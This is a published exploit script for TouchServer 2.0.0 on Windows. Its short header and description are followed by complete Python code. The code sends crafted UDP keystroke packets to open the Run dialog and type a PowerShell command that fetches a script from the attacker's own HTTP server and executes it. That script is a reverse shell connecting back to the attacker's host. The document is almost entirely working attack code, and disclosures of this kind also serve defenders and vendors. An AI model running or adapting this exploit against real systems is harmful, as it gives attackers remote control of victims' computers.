# Exploit Title: TouchServer 2.0.0 - Remote Code Execution # Date: 10/07/25 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://github.com/SKRInternationals/SKRInternationals # Software Link: https://github.com/SKRInternationals/TouchServer/releases/download/v2.0.0/TouchServer-v2.0.0.zip # Version: 2.0.0 # Tested on: Windows 10 ''' Description: The vulnerability allows remote attackers to execute arbitrary commands by sending specially crafted UDP packets. The exploit delivers a PowerShell reverse shell by emulating keyboard input to trigger its download and execution. ''' #!/usr/bin/env python3 import socket, json, time, threading, base64 from http.server import BaseHTTPRequestHandler, HTTPServer LHOST = "192.168.8.103" LPORT = 8080 # http port REVERSE_PORT = 4444 SERVER_IP = "192.168.8.104" SERVER_PORT = 5559 VK_SHIFT = 0x10 VK_RETURN = 0x0D VK_LWIN = 0x5B VK_R = 0x52 KEYEVENTF_KEYUP = 0x0002 PS_CMD = f"""$c=New-Object Net.Sockets.TCPClient('{LHOST}',{REVERSE_PORT});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};while(($i=$s.Read($b,0,$b.Length)) -ne 0){{;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$s.Write(([Text.Encoding]::ASCII).GetBytes($r2),0,$r2.Length);$s.Flush()}};$c.Close()""" PS_CMD_B64 = base64.b64encode(PS_CMD.encode('utf-16le')).decode() class Handler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/ch.ps1': self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(PS_CMD.encode()) else: self.send_response(404) def run_server(): HTTPServer(('0.0.0.0', LPORT), Handler).serve_forever() CHAR_MAP = { ' ': 0x20, '-': 0xBD, '.': 0xBE, '/': 0xBF, '\\': 0xDC, "'": 0xDE, ';': 0xBA, '$': (VK_SHIFT, 0x34), ':': (VK_SHIFT, 0xBA), '"': (VK_SHIFT, 0xDE), ',': 0xBC, '=': 0xBB, '&': (VK_SHIFT, 0x37), '(': (VK_SHIFT, 0x39), ')': (VK_SHIFT, 0x30), '{': (VK_SHIFT, 0xDB), '}': (VK_SHIFT, 0xDD), '[': 0xDB, ']': 0xDD, '|': (VK_SHIFT, 0xDC), '%': (VK_SHIFT, 0x35) } def send_key(vk, flags=0): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(json.dumps({ "type": "1", "wVk": str(vk), "wScan": "0", "dwFlags": str(flags), "time": "0", "dwExtraInfo": "0" }).encode(), (SERVER_IP, SERVER_PORT)) sock.close() time.sleep(0.05) def type_char(c): l = c.lower() if 'a' <= l <= 'z': vk = 0x41 + (ord(l) - ord('a')) send_key(vk) send_key(vk, KEYEVENTF_KEYUP) elif '0' <= c <= '9': vk = 0x30 + (ord(c) - ord('0')) send_key(vk) send_key(vk, KEYEVENTF_KEYUP) elif c in CHAR_MAP: code = CHAR_MAP[c] if isinstance(code, tuple): send_key(code[0]) send_key(code[1]) send_key(code[1], KEYEVENTF_KEYUP) send_key(code[0], KEYEVENTF_KEYUP) else: send_key(code) send_key(code, KEYEVENTF_KEYUP) def type_str(t): for c in t: type_char(c) def win_r(): send_key(VK_LWIN) send_key(VK_R) send_key(VK_R, KEYEVENTF_KEYUP) send_key(VK_LWIN, KEYEVENTF_KEYUP) time.sleep(0.5) def enter(): send_key(VK_RETURN) send_key(VK_RETURN, KEYEVENTF_KEYUP) if __name__ == "__main__": threading.Thread(target=run_server, daemon=True).start() win_r() type_str(f"powershell iex(iwr http://{LHOST}:{LPORT}/ch.ps1 -UseBasicParsing)") enter() while True: time.sleep(1)